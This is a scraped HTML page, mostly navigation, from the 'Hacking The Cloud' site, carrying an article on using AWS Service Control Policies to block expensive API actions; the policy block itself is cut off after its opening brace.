class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#understanding-service-control-policies class=md-nav__link> <span class=md-ellipsis> Understanding Service Control Policies </span> </a> </li> <li class=md-nav__item> <a href=#safeguard-scp class=md-nav__link> <span class=md-ellipsis> Safeguard SCP </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/general-knowledge/block-expensive-actions-with-scps.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=prevent-expensive-aws-api-actions-with-scps>Prevent Expensive AWS API Actions with SCPs<a class=headerlink href=#prevent-expensive-aws-api-actions-with-scps title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><aside style=display:flex> <p><a href=https://gist.github.com/iann0036/b473bbb3097c5f4c656ed3d07b4d2222> List of expensive / long-term effect AWS IAM actions</a> by <a href=https://x.com/iann0036>Ian McKay</a></p> <p><a class=glightbox href=/images/researchers/ian_mckay.jpg data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src=/images/researchers/ian_mckay.jpg alt="Ian McKay" style=width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset></a></p> </aside></p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M18 22a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-6v7L9.5 7.5 7 9V2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2z"/></svg></span> <strong>Additional Resources</strong></p> <hr> <ul> <li><a href=https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html>Service Control Policies</a> (SCPs)</li> <li><a href=https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_attach.html>Attaching and detaching service control policies</a></li> </ul> </li> </ul> </div> <p>An ever-present danger when using AWS is accidentally making an API call that could cost you thousands of dollars. Speaking from experience, this can be a remarkably stressful time. To mitigate this risk, implementing guardrails on your account is essential. One way to do this is to block API operations which are known to be expensive. Operations like signing up for certain AWS services or creating non-deletable resources can lead to high costs.</p> <h2 id=understanding-service-control-policies>Understanding Service Control Policies<a class=headerlink href=#understanding-service-control-policies title="Permanent link">&para;</a></h2> <p>To help prevent billing headaches when learning about AWS security or conducting research we can use a <a href=https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html>Service Control Policy</a> (SCP). An SCP is a type of organizational policy which restricts what API calls can be made by member accounts in an <a href=../aws_organizations_defaults/ >AWS Organization</a>. Thanks to the work of <a href=https://x.com/iann0036>Ian McKay</a>, and other community members, we have a list of AWS API operations which are prohibitively expensive and should be avoided. </p> <p>To implement the policy below, refer to the AWS <a href=https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_attach.html>documentation</a> for detailed instructions on attaching and managing SCPs.</p> <div class="admonition warning"> <p class=admonition-title>Warning</p> <p>While this SCP provides a significant safeguard, it is not entirely foolproof. You can still incur high charges if not careful. This policy only blocks known problematic API calls. Always exercise caution when creating or configuring resources in AWS.</p> </div> <h2 id=safeguard-scp>Safeguard SCP<a class=headerlink href=#safeguard-scp title="Permanent link">&para;</a></h2> <div class=highlight><pre><span></span><code><span class=p>{</span>
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#prevent-expensive-aws-api-actions-with-scps class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1 checked> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=true> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class="md-nav__item md-nav__item--active"> 